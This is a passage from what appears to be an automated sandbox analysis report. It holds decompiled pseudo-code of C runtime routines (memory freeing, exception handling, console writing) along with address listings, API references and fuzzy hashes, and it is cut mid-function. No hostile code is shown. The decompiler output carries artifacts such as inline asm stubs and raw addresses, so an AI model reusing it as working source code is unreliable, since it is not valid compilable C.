                          						E00165025( *((intOrPtr*)(_t74 + 0x88)));
                          					}
                          				}
                          				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
                          				if(_t26 != 0 &&  *_t26 == 0) {
                          					E00165025( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
                          					E00165025( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
                          					E00165025( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
                          					E00165025( *((intOrPtr*)(_t74 + 0x8c)));
                          				}
                          				E00166ADB( *((intOrPtr*)(_t74 + 0x9c)));
                          				_t28 = 6;
                          				_t55 = _t74 + 0xa0;
                          				_v8 = _t28;
                          				_t70 = _t74 + 0x28;
                          				do {
                          					if( *((intOrPtr*)(_t70 - 8)) != 0x173640) {
                          						_t31 =  *_t70;
                          						if(_t31 != 0 &&  *_t31 == 0) {
                          							E00165025(_t31);
                          							E00165025( *_t55);
                          						}
                          						_t28 = _v8;
                          					}
                          					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
                          						_t29 =  *((intOrPtr*)(_t70 - 4));
                          						if(_t29 != 0 &&  *_t29 == 0) {
                          							E00165025(_t29);
                          						}
                          						_t28 = _v8;
                          					}
                          					_t55 = _t55 + 4;
                          					_t70 = _t70 + 0x10;
                          					_t28 = _t28 - 1;
                          					_v8 = _t28;
                          				} while (_t28 != 0);
                          				return E00165025(_t74);
                          			}















                          0x00166972
                          0x00166976
                          0x0016697e
                          0x00166987
                          0x0016698c
                          0x00166993
                          0x0016699b
                          0x001669a3
                          0x001669ae
                          0x001669b4
                          0x001669b5
                          0x001669bd
                          0x001669c5
                          0x001669d0
                          0x001669d6
                          0x001669da
                          0x001669e5
                          0x001669eb
                          0x0016698c
                          0x001669ec
                          0x001669f4
                          0x00166a07
                          0x00166a1a
                          0x00166a28
                          0x00166a33
                          0x00166a38
                          0x00166a41
                          0x00166a49
                          0x00166a4a
                          0x00166a50
                          0x00166a53
                          0x00166a56
                          0x00166a5d
                          0x00166a5f
                          0x00166a63
                          0x00166a6b
                          0x00166a72
                          0x00166a78
                          0x00166a79
                          0x00166a79
                          0x00166a80
                          0x00166a82
                          0x00166a87
                          0x00166a8f
                          0x00166a94
                          0x00166a95
                          0x00166a95
                          0x00166a98
                          0x00166a9b
                          0x00166a9e
                          0x00166aa1
                          0x00166aa1
                          0x00166ab1

                          APIs
                          • ___free_lconv_mon.LIBCMT ref: 001669AE
                            • Part of subcall function 00166487: _free.LIBCMT ref: 001664A4
                            • Part of subcall function 00166487: _free.LIBCMT ref: 001664B6
                            • Part of subcall function 00166487: _free.LIBCMT ref: 001664C8
                            • Part of subcall function 00166487: _free.LIBCMT ref: 001664DA
                            • Part of subcall function 00166487: _free.LIBCMT ref: 001664EC
                            • Part of subcall function 00166487: _free.LIBCMT ref: 001664FE
                            • Part of subcall function 00166487: _free.LIBCMT ref: 00166510
                            • Part of subcall function 00166487: _free.LIBCMT ref: 00166522
                            • Part of subcall function 00166487: _free.LIBCMT ref: 00166534
                            • Part of subcall function 00166487: _free.LIBCMT ref: 00166546
                            • Part of subcall function 00166487: _free.LIBCMT ref: 00166558
                            • Part of subcall function 00166487: _free.LIBCMT ref: 0016656A
                            • Part of subcall function 00166487: _free.LIBCMT ref: 0016657C
                          • _free.LIBCMT ref: 001669A3
                            • Part of subcall function 00165025: HeapFree.KERNEL32(00000000,00000000,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?), ref: 0016503B
                            • Part of subcall function 00165025: GetLastError.KERNEL32(?,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?,?), ref: 0016504D
                          • _free.LIBCMT ref: 001669C5
                          • _free.LIBCMT ref: 001669DA
                          • _free.LIBCMT ref: 001669E5
                          • _free.LIBCMT ref: 00166A07
                          • _free.LIBCMT ref: 00166A1A
                          • _free.LIBCMT ref: 00166A28
                          • _free.LIBCMT ref: 00166A33
                          • _free.LIBCMT ref: 00166A6B
                          • _free.LIBCMT ref: 00166A72
                          • _free.LIBCMT ref: 00166A8F
                          • _free.LIBCMT ref: 00166AA7
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                          • String ID:
                          • API String ID: 161543041-0
                          • Opcode ID: c549906a5c160270caf6e3bc5db27cdf0b28ec92ae23148d7c8e95e70e82aa50
                          • Instruction ID: 39883ccf4282343c5843c9abd904a373014fb26443e746e2219dbc307e4af732
                          • Opcode Fuzzy Hash: c549906a5c160270caf6e3bc5db27cdf0b28ec92ae23148d7c8e95e70e82aa50
                          • Instruction Fuzzy Hash: 7D316B75600A00AFEB30AA78DC49B5A77FAEF10350F10842AF499EB151DF31ED608754
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 77%
                          			E001648A8(void* __edx, void* __esi, char _a4) {
                          				void* _v5;
                          				char _v12;
                          				char _v16;
                          				char _v20;
                          				void* __ebp;
                          				char _t55;
                          				char _t61;
                          				intOrPtr _t67;
                          				void* _t71;
                          				void* _t72;
                          
                          				_t72 = __esi;
                          				_t71 = __edx;
                          				_t36 = _a4;
                          				_t67 =  *_a4;
                          				_t76 = _t67 - 0x16dc38;
                          				if(_t67 != 0x16dc38) {
                          					E00165025(_t67);
                          					_t36 = _a4;
                          				}
                          				E00165025( *((intOrPtr*)(_t36 + 0x3c)));
                          				E00165025( *((intOrPtr*)(_a4 + 0x30)));
                          				E00165025( *((intOrPtr*)(_a4 + 0x34)));
                          				E00165025( *((intOrPtr*)(_a4 + 0x38)));
                          				E00165025( *((intOrPtr*)(_a4 + 0x28)));
                          				E00165025( *((intOrPtr*)(_a4 + 0x2c)));
                          				E00165025( *((intOrPtr*)(_a4 + 0x40)));
                          				E00165025( *((intOrPtr*)(_a4 + 0x44)));
                          				E00165025( *((intOrPtr*)(_a4 + 0x360)));
                          				_v16 =  &_a4;
                          				_t55 = 5;
                          				_v12 = _t55;
                          				_v20 = _t55;
                          				_push( &_v12);
                          				_push( &_v16);
                          				_push( &_v20);
                          				E001646D4(_t71, _t76);
                          				_v16 =  &_a4;
                          				_t61 = 4;
                          				_v20 = _t61;
                          				_v12 = _t61;
                          				_push( &_v20);
                          				_push( &_v16);
                          				_push( &_v12);
                          				return E0016473F(_t71, _t72, _t76);
                          			}













                          0x001648a8
                          0x001648a8
                          0x001648ad
                          0x001648b3
                          0x001648b5
                          0x001648bb
                          0x001648be
                          0x001648c3
                          0x001648c6
                          0x001648ca
                          0x001648d5
                          0x001648e0
                          0x001648eb
                          0x001648f6
                          0x00164901
                          0x0016490c
                          0x00164917
                          0x00164925
                          0x00164930
                          0x00164938
                          0x00164939
                          0x0016493c
                          0x00164942
                          0x00164946
                          0x0016494a
                          0x0016494b
                          0x00164955
                          0x0016495b
                          0x0016495c
                          0x0016495f
                          0x00164965
                          0x00164969
                          0x0016496d
                          0x00164974

                          APIs
                          • _free.LIBCMT ref: 001648BE
                            • Part of subcall function 00165025: HeapFree.KERNEL32(00000000,00000000,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?), ref: 0016503B
                            • Part of subcall function 00165025: GetLastError.KERNEL32(?,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?,?), ref: 0016504D
                          • _free.LIBCMT ref: 001648CA
                          • _free.LIBCMT ref: 001648D5
                          • _free.LIBCMT ref: 001648E0
                          • _free.LIBCMT ref: 001648EB
                          • _free.LIBCMT ref: 001648F6
                          • _free.LIBCMT ref: 00164901
                          • _free.LIBCMT ref: 0016490C
                          • _free.LIBCMT ref: 00164917
                          • _free.LIBCMT ref: 00164925
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _free$ErrorFreeHeapLast
                          • String ID:
                          • API String ID: 776569668-0
                          • Opcode ID: 3635e7cfd5377fb19da4be3659f1d05c22ec698f66bae94908bdd5a1a7693120
                          • Instruction ID: f0de772dcba45b1592b178ea065a72a025a03c37981afd47b808d1c1d120d059
                          • Opcode Fuzzy Hash: 3635e7cfd5377fb19da4be3659f1d05c22ec698f66bae94908bdd5a1a7693120
                          • Instruction Fuzzy Hash: 3B21777A900508AFCB41EF94DC81DDE7BB9BF18380F0191A6F5159F125DB32EA64CB84
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 64%
                          			E00161D60(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, intOrPtr _a12) {
                          				char _v5;
                          				signed int _v12;
                          				char _v16;
                          				intOrPtr _v20;
                          				intOrPtr _v24;
                          				intOrPtr _v28;
                          				char _v32;
                          				char _t52;
                          				signed int _t59;
                          				intOrPtr _t60;
                          				void* _t61;
                          				intOrPtr* _t62;
                          				intOrPtr _t64;
                          				intOrPtr _t67;
                          				intOrPtr _t72;
                          				intOrPtr* _t76;
                          				intOrPtr _t77;
                          				intOrPtr _t79;
                          				signed int _t82;
                          				char _t84;
                          				intOrPtr _t87;
                          				intOrPtr _t96;
                          				intOrPtr _t99;
                          				intOrPtr* _t101;
                          				void* _t105;
                          				void* _t107;
                          				void* _t115;
                          
                          				_t76 = _a4;
                          				_v5 = 0;
                          				_v16 = 1;
                          				 *_t76 = E0016BFFA(__ecx,  *_t76);
                          				_t77 = _a8;
                          				_t6 = _t77 + 0x10; // 0x11
                          				_t99 = _t6;
                          				_push(_t99);
                          				_v20 = _t99;
                          				_v12 =  *(_t77 + 8) ^  *0x173018;
                          				E00161D20( *(_t77 + 8) ^  *0x173018);
                          				E001622D7(_a12);
                          				_t52 = _a4;
                          				_t107 = _t105 - 0x1c + 0x10;
                          				_t96 =  *((intOrPtr*)(_t77 + 0xc));
                          				if(( *(_t52 + 4) & 0x00000066) != 0) {
                          					__eflags = _t96 - 0xfffffffe;
                          					if(_t96 != 0xfffffffe) {
                          						E001622C0(_t77, 0xfffffffe, _t99, 0x173018);
                          						goto L13;
                          					}
                          					goto L14;
                          				} else {
                          					_v32 = _t52;
                          					_v28 = _a12;
                          					 *((intOrPtr*)(_t77 - 4)) =  &_v32;
                          					if(_t96 == 0xfffffffe) {
                          						L14:
                          						return _v16;
                          					} else {
                          						do {
                          							_t82 = _v12;
                          							_t59 = _t96 + (_t96 + 2) * 2;
                          							_t79 =  *((intOrPtr*)(_t82 + _t59 * 4));
                          							_t60 = _t82 + _t59 * 4;
                          							_t83 =  *((intOrPtr*)(_t60 + 4));
                          							_v24 = _t60;
                          							if( *((intOrPtr*)(_t60 + 4)) == 0) {
                          								_t84 = _v5;
                          								goto L7;
                          							} else {
                          								_t61 = E00162270(_t83, _t99);
                          								_t84 = 1;
                          								_v5 = 1;
                          								_t115 = _t61;
                          								if(_t115 < 0) {
                          									_v16 = 0;
                          									L13:
                          									_push(_t99);
                          									E00161D20(_v12);
                          									goto L14;
                          								} else {
                          									if(_t115 > 0) {
                          										_t62 = _a4;
                          										__eflags =  *_t62 - 0xe06d7363;
                          										if( *_t62 == 0xe06d7363) {
                          											__eflags =  *0x16d178;
                          											if(__eflags != 0) {
                          												_t72 = E0016B790(__eflags, 0x16d178);
                          												_t107 = _t107 + 4;
                          												__eflags = _t72;
                          												if(_t72 != 0) {
                          													_t101 =  *0x16d178; // 0x161ef4
                          													 *0x16d120(_a4, 1);
                          													 *_t101();
                          													_t99 = _v20;
                          													_t107 = _t107 + 8;
                          												}
                          												_t62 = _a4;
                          											}
                          										}
                          										E001622A4(_t62, _a8, _t62);
                          										_t64 = _a8;
                          										__eflags =  *((intOrPtr*)(_t64 + 0xc)) - _t96;
                          										if( *((intOrPtr*)(_t64 + 0xc)) != _t96) {
                          											E001622C0(_t64, _t96, _t99, 0x173018);
                          											_t64 = _a8;
                          										}
                          										_push(_t99);
                          										 *((intOrPtr*)(_t64 + 0xc)) = _t79;
                          										E00161D20(_v12);
                          										_t87 =  *((intOrPtr*)(_v24 + 8));
                          										E00162288();
                          										asm("int3");
                          										__eflags = E0016243E();
                          										if(__eflags != 0) {
                          											_t67 = E001623F0(_t87, __eflags);
                          											__eflags = _t67;
                          											if(_t67 != 0) {
                          												return 1;
                          											} else {
                          												E0016247A();
                          												goto L24;
                          											}
                          										} else {
                          											L24:
                          											__eflags = 0;
                          											return 0;
                          										}
                          									} else {
                          										goto L7;
                          									}
                          								}
                          							}
                          							goto L28;
                          							L7:
                          							_t96 = _t79;
                          						} while (_t79 != 0xfffffffe);
                          						if(_t84 != 0) {
                          							goto L13;
                          						}
                          						goto L14;
                          					}
                          				}
                          				L28:
                          			}






























                          0x00161d67
                          0x00161d6c
                          0x00161d72
                          0x00161d7e
                          0x00161d80
                          0x00161d86
                          0x00161d86
                          0x00161d8f
                          0x00161d91
                          0x00161d94
                          0x00161d97
                          0x00161d9f
                          0x00161da4
                          0x00161da7
                          0x00161daa
                          0x00161db1
                          0x00161e0d
                          0x00161e10
                          0x00161e1f
                          0x00000000
                          0x00161e1f
                          0x00000000
                          0x00161db3
                          0x00161db3
                          0x00161db9
                          0x00161dbf
                          0x00161dc5
                          0x00161e30
                          0x00161e39
                          0x00161dc7
                          0x00161dc7
                          0x00161dc7
                          0x00161dcd
                          0x00161dd0
                          0x00161dd3
                          0x00161dd6
                          0x00161dd9
                          0x00161dde
                          0x00161df4
                          0x00000000
                          0x00161de0
                          0x00161de2
                          0x00161de7
                          0x00161de9
                          0x00161dec
                          0x00161dee
                          0x00161e04
                          0x00161e24
                          0x00161e24
                          0x00161e28
                          0x00000000
                          0x00161df0
                          0x00161df0
                          0x00161e3a
                          0x00161e3d
                          0x00161e43
                          0x00161e45
                          0x00161e4c
                          0x00161e53
                          0x00161e58
                          0x00161e5b
                          0x00161e5d
                          0x00161e5f
                          0x00161e6c
                          0x00161e72
                          0x00161e74
                          0x00161e77
                          0x00161e77
                          0x00161e7a
                          0x00161e7a
                          0x00161e4c
                          0x00161e82
                          0x00161e87
                          0x00161e8a
                          0x00161e8d
                          0x00161e99
                          0x00161e9e
                          0x00161e9e
                          0x00161ea1
                          0x00161ea5
                          0x00161ea8
                          0x00161eb5
                          0x00161eb8
                          0x00161ebd
                          0x00161ec3
                          0x00161ec5
                          0x00161eca
                          0x00161ecf
                          0x00161ed1
                          0x00161edc
                          0x00161ed3
                          0x00161ed3
                          0x00000000
                          0x00161ed3
                          0x00161ec7
                          0x00161ec7
                          0x00161ec7
                          0x00161ec9
                          0x00161ec9
                          0x00161df2
                          0x00000000
                          0x00161df2
                          0x00161df0
                          0x00161dee
                          0x00000000
                          0x00161df7
                          0x00161df7
                          0x00161df9
                          0x00161e00
                          0x00000000
                          0x00161e02
                          0x00000000
                          0x00161e00
                          0x00161dc5
                          0x00000000

                          APIs
                          • _ValidateLocalCookies.LIBCMT ref: 00161D97
                          • ___except_validate_context_record.LIBVCRUNTIME ref: 00161D9F
                          • _ValidateLocalCookies.LIBCMT ref: 00161E28
                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00161E53
                          • _ValidateLocalCookies.LIBCMT ref: 00161EA8
                          Strings
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                          • String ID: csm
                          • API String ID: 1170836740-1018135373
                          • Opcode ID: 37791cbbd889b50459c5ad9ac7aff44d81a25a9862ae779d2fdd61cbc06a7fa3
                          • Instruction ID: a28fb2fbe121386a841d5da6573f4d544c78520a396e120b3116a6de643759ae
                          • Opcode Fuzzy Hash: 37791cbbd889b50459c5ad9ac7aff44d81a25a9862ae779d2fdd61cbc06a7fa3
                          • Instruction Fuzzy Hash: D541A434A00208BFCF11DFA8CC94AEEBBB5AF45324F188155EC149B352D772DA65CB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00166626(intOrPtr _a4) {
                          				void* _t18;
                          
                          				_t45 = _a4;
                          				if(_a4 != 0) {
                          					E001665EE(_t45, 7);
                          					E001665EE(_t45 + 0x1c, 7);
                          					E001665EE(_t45 + 0x38, 0xc);
                          					E001665EE(_t45 + 0x68, 0xc);
                          					E001665EE(_t45 + 0x98, 2);
                          					E00165025( *((intOrPtr*)(_t45 + 0xa0)));
                          					E00165025( *((intOrPtr*)(_t45 + 0xa4)));
                          					E00165025( *((intOrPtr*)(_t45 + 0xa8)));
                          					E001665EE(_t45 + 0xb4, 7);
                          					E001665EE(_t45 + 0xd0, 7);
                          					E001665EE(_t45 + 0xec, 0xc);
                          					E001665EE(_t45 + 0x11c, 0xc);
                          					E001665EE(_t45 + 0x14c, 2);
                          					E00165025( *((intOrPtr*)(_t45 + 0x154)));
                          					E00165025( *((intOrPtr*)(_t45 + 0x158)));
                          					E00165025( *((intOrPtr*)(_t45 + 0x15c)));
                          					return E00165025( *((intOrPtr*)(_t45 + 0x160)));
                          				}
                          				return _t18;
                          			}




                          0x0016662c
                          0x00166631
                          0x0016663a
                          0x00166645
                          0x00166650
                          0x0016665b
                          0x00166669
                          0x00166674
                          0x0016667f
                          0x0016668a
                          0x00166698
                          0x001666a6
                          0x001666b7
                          0x001666c5
                          0x001666d3
                          0x001666de
                          0x001666e9
                          0x001666f4
                          0x00000000
                          0x00166704
                          0x00166709

                          APIs
                            • Part of subcall function 001665EE: _free.LIBCMT ref: 00166613
                          • _free.LIBCMT ref: 00166674
                            • Part of subcall function 00165025: HeapFree.KERNEL32(00000000,00000000,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?), ref: 0016503B
                            • Part of subcall function 00165025: GetLastError.KERNEL32(?,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?,?), ref: 0016504D
                          • _free.LIBCMT ref: 0016667F
                          • _free.LIBCMT ref: 0016668A
                          • _free.LIBCMT ref: 001666DE
                          • _free.LIBCMT ref: 001666E9
                          • _free.LIBCMT ref: 001666F4
                          • _free.LIBCMT ref: 001666FF
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _free$ErrorFreeHeapLast
                          • String ID:
                          • API String ID: 776569668-0
                          • Opcode ID: bb64697d32f6325a66d523b558f22331f7f272c34d693a56b84b984beb97a0e5
                          • Instruction ID: e0ab1960580dd9e8ee27bc74d34d7831a3a33e04b8fc77a1d514e7b05aef9fa9
                          • Opcode Fuzzy Hash: bb64697d32f6325a66d523b558f22331f7f272c34d693a56b84b984beb97a0e5
                          • Instruction Fuzzy Hash: 15116071550B44BBDA30BBB0CC0BFCB779DAF14780F408819B29AAA096DB75F5348790
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 64%
                          			E001688D8(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, signed int _a8, long _a12, intOrPtr _a16) {
                          				signed int _v8;
                          				char _v16;
                          				char _v23;
                          				char _v24;
                          				void _v32;
                          				signed int _v33;
                          				long _v40;
                          				long _v44;
                          				char _v47;
                          				void _v48;
                          				intOrPtr _v52;
                          				long _v56;
                          				char _v60;
                          				intOrPtr _v68;
                          				char _v72;
                          				struct _OVERLAPPED* _v76;
                          				signed int _v80;
                          				signed int _v84;
                          				intOrPtr _v88;
                          				signed int _v92;
                          				long _v96;
                          				long _v100;
                          				intOrPtr _v104;
                          				intOrPtr _v108;
                          				long _v112;
                          				void* _v116;
                          				char _v120;
                          				int _v124;
                          				intOrPtr _v128;
                          				struct _OVERLAPPED* _v132;
                          				struct _OVERLAPPED* _v136;
                          				struct _OVERLAPPED* _v140;
                          				struct _OVERLAPPED* _v144;
                          				signed int _t172;
                          				signed int _t174;
                          				int _t178;
                          				intOrPtr _t183;
                          				intOrPtr _t186;
                          				void* _t188;
                          				void* _t190;
                          				long _t193;
                          				void _t198;
                          				long _t202;
                          				void* _t206;
                          				intOrPtr _t212;
                          				signed char* _t213;
                          				char _t216;
                          				signed int _t219;
                          				char* _t220;
                          				void* _t222;
                          				long _t228;
                          				intOrPtr _t229;
                          				char _t231;
                          				long _t235;
                          				struct _OVERLAPPED* _t243;
                          				signed int _t246;
                          				intOrPtr _t249;
                          				signed int _t252;
                          				signed int _t253;
                          				signed int _t255;
                          				struct _OVERLAPPED* _t256;
                          				intOrPtr _t258;
                          				void* _t262;
                          				long _t263;
                          				signed char _t264;
                          				signed int _t265;
                          				void* _t266;
                          				void* _t268;
                          				struct _OVERLAPPED* _t269;
                          				long _t270;
                          				signed int _t271;
                          				long _t275;
                          				signed int _t278;
                          				long _t279;
                          				struct _OVERLAPPED* _t280;
                          				signed int _t282;
                          				intOrPtr _t284;
                          				signed int _t286;
                          				signed int _t289;
                          				long _t290;
                          				long _t291;
                          				signed int _t292;
                          				intOrPtr _t293;
                          				signed int _t294;
                          				void* _t295;
                          				void* _t296;
                          
                          				_t172 =  *0x173018; // 0x219ee8ef
                          				_v8 = _t172 ^ _t294;
                          				_t174 = _a8;
                          				_t263 = _a12;
                          				_t282 = (_t174 & 0x0000003f) * 0x38;
                          				_t246 = _t174 >> 6;
                          				_v112 = _t263;
                          				_v84 = _t246;
                          				_v80 = _t282;
                          				_t284 = _a16 + _t263;
                          				_v116 =  *((intOrPtr*)(_t282 +  *((intOrPtr*)(0x174078 + _t246 * 4)) + 0x18));
                          				_v104 = _t284;
                          				_t178 = GetConsoleCP();
                          				_t243 = 0;
                          				_v124 = _t178;
                          				E00164547( &_v72, _t263, 0);
                          				asm("stosd");
                          				_t249 =  *((intOrPtr*)(_v68 + 8));
                          				_v128 = _t249;
                          				asm("stosd");
                          				asm("stosd");
                          				_t275 = _v112;
                          				_v40 = _t275;
                          				if(_t275 >= _t284) {
                          					L52:
                          					__eflags = _v60 - _t243;
                          				} else {
                          					_t286 = _v92;
                          					while(1) {
                          						_v47 =  *_t275;
                          						_v76 = _t243;
                          						_v44 = 1;
                          						_t186 =  *((intOrPtr*)(0x174078 + _v84 * 4));
                          						_v52 = _t186;
                          						if(_t249 != 0xfde9) {
                          							goto L23;
                          						}
                          						_t265 = _v80;
                          						_t212 = _t186 + 0x2e + _t265;
                          						_t256 = _t243;
                          						_v108 = _t212;
                          						while( *((intOrPtr*)(_t212 + _t256)) != _t243) {
                          							_t256 =  &(_t256->Internal);
                          							if(_t256 < 5) {
                          								continue;
                          							}
                          							break;
                          						}
                          						_t213 = _v40;
                          						_t278 = _v104 - _t213;
                          						_v44 = _t256;
                          						if(_t256 <= 0) {
                          							_t258 =  *((char*)(( *_t213 & 0x000000ff) + 0x173758)) + 1;
                          							_v52 = _t258;
                          							__eflags = _t258 - _t278;
                          							if(_t258 > _t278) {
                          								__eflags = _t278;
                          								if(_t278 <= 0) {
                          									goto L44;
                          								} else {
                          									_t290 = _v40;
                          									do {
                          										_t266 = _t265 + _t243;
                          										_t216 =  *((intOrPtr*)(_t243 + _t290));
                          										_t243 =  &(_t243->Internal);
                          										 *((char*)(_t266 +  *((intOrPtr*)(0x174078 + _v84 * 4)) + 0x2e)) = _t216;
                          										_t265 = _v80;
                          										__eflags = _t243 - _t278;
                          									} while (_t243 < _t278);
                          									goto L43;
                          								}
                          							} else {
                          								_t279 = _v40;
                          								__eflags = _t258 - 4;
                          								_v144 = _t243;
                          								_t260 =  &_v144;
                          								_v140 = _t243;
                          								_v56 = _t279;
                          								_t219 = (0 | _t258 == 0x00000004) + 1;
                          								__eflags = _t219;
                          								_push( &_v144);
                          								_v44 = _t219;
                          								_push(_t219);
                          								_t220 =  &_v56;
                          								goto L21;
                          							}
                          						} else {
                          							_t228 =  *((char*)(( *(_t265 + _v52 + 0x2e) & 0x000000ff) + 0x173758)) + 1;
                          							_v56 = _t228;
                          							_t229 = _t228 - _t256;
                          							_v52 = _t229;
                          							if(_t229 > _t278) {
                          								__eflags = _t278;
                          								if(_t278 > 0) {
                          									_t291 = _v40;
                          									do {
                          										_t268 = _t265 + _t243 + _t256;
                          										_t231 =  *((intOrPtr*)(_t243 + _t291));
                          										_t243 =  &(_t243->Internal);
                          										 *((char*)(_t268 +  *((intOrPtr*)(0x174078 + _v84 * 4)) + 0x2e)) = _t231;
                          										_t256 = _v44;
                          										_t265 = _v80;
                          										__eflags = _t243 - _t278;
                          									} while (_t243 < _t278);
                          									L43:
                          									_t286 = _v92;
                          								}
                          								L44:
                          								_t289 = _t286 + _t278;
                          								__eflags = _t289;
                          								L45:
                          								__eflags = _v60;
                          								_v92 = _t289;
                          							} else {
                          								_t269 = _t243;
                          								if(_t256 > 0) {
                          									_t293 = _v108;
                          									do {
                          										 *((char*)(_t294 + _t269 - 0xc)) =  *((intOrPtr*)(_t293 + _t269));
                          										_t269 =  &(_t269->Internal);
                          									} while (_t269 < _t256);
                          									_t229 = _v52;
                          								}
                          								_t279 = _v40;
                          								if(_t229 > 0) {
                          									E00162820( &_v16 + _t256, _t279, _v52);
                          									_t256 = _v44;
                          									_t295 = _t295 + 0xc;
                          								}
                          								if(_t256 > 0) {
                          									_t270 = _v44;
                          									_t280 = _t243;
                          									_t292 = _v80;
                          									do {
                          										_t262 = _t292 + _t280;
                          										_t280 =  &(_t280->Internal);
                          										 *(_t262 +  *((intOrPtr*)(0x174078 + _v84 * 4)) + 0x2e) = _t243;
                          									} while (_t280 < _t270);
                          									_t279 = _v40;
                          								}
                          								_v136 = _t243;
                          								_v120 =  &_v16;
                          								_t260 =  &_v136;
                          								_v132 = _t243;
                          								_push( &_v136);
                          								_t235 = (0 | _v56 == 0x00000004) + 1;
                          								_v44 = _t235;
                          								_push(_t235);
                          								_t220 =  &_v120;
                          								L21:
                          								_push(_t220);
                          								_push( &_v76);
                          								_t222 = E00169630(_t260);
                          								_t296 = _t295 + 0x10;
                          								if(_t222 == 0xffffffff) {
                          									goto L52;
                          								} else {
                          									_t275 = _t279 + _v52 - 1;
                          									L31:
                          									_t275 = _t275 + 1;
                          									_v40 = _t275;
                          									_t193 = E00165DFD(_v124, _t243,  &_v76, _v44,  &_v32, 5, _t243, _t243);
                          									_t295 = _t296 + 0x20;
                          									_v56 = _t193;
                          									if(_t193 == 0) {
                          										goto L52;
                          									} else {
                          										if(WriteFile(_v116,  &_v32, _t193,  &_v100, _t243) == 0) {
                          											L51:
                          											_v96 = GetLastError();
                          											goto L52;
                          										} else {
                          											_t286 = _v88 - _v112 + _t275;
                          											_v92 = _t286;
                          											if(_v100 < _v56) {
                          												goto L52;
                          											} else {
                          												if(_v47 != 0xa) {
                          													L38:
                          													if(_t275 >= _v104) {
                          														goto L52;
                          													} else {
                          														_t249 = _v128;
                          														continue;
                          													}
                          												} else {
                          													_t198 = 0xd;
                          													_v48 = _t198;
                          													if(WriteFile(_v116,  &_v48, 1,  &_v100, _t243) == 0) {
                          														goto L51;
                          													} else {
                          														if(_v100 < 1) {
                          															goto L52;
                          														} else {
                          															_v88 = _v88 + 1;
                          															_t286 = _t286 + 1;
                          															_v92 = _t286;
                          															goto L38;
                          														}
                          													}
                          												}
                          											}
                          										}
                          									}
                          								}
                          							}
                          						}
                          						goto L53;
                          						L23:
                          						_t252 = _v80;
                          						_t264 =  *((intOrPtr*)(_t252 + _t186 + 0x2d));
                          						__eflags = _t264 & 0x00000004;
                          						if((_t264 & 0x00000004) == 0) {
                          							_v33 =  *_t275;
                          							_t188 = E0016670A(_t264);
                          							_t253 = _v33 & 0x000000ff;
                          							__eflags =  *((intOrPtr*)(_t188 + _t253 * 2)) - _t243;
                          							if( *((intOrPtr*)(_t188 + _t253 * 2)) >= _t243) {
                          								_push(1);
                          								_push(_t275);
                          								goto L30;
                          							} else {
                          								_t202 = _t275 + 1;
                          								_v56 = _t202;
                          								__eflags = _t202 - _v104;
                          								if(_t202 >= _v104) {
                          									_t271 = _v84;
                          									_t255 = _v80;
                          									 *((char*)(_t255 +  *((intOrPtr*)(0x174078 + _t271 * 4)) + 0x2e)) = _v33;
                          									 *(_t255 +  *((intOrPtr*)(0x174078 + _t271 * 4)) + 0x2d) =  *(_t255 +  *((intOrPtr*)(0x174078 + _t271 * 4)) + 0x2d) | 0x00000004;
                          									_t289 = _t286 + 1;
                          									goto L45;
                          								} else {
                          									_t206 = E00167EA5( &_v76, _t275, 2);
                          									_t296 = _t295 + 0xc;
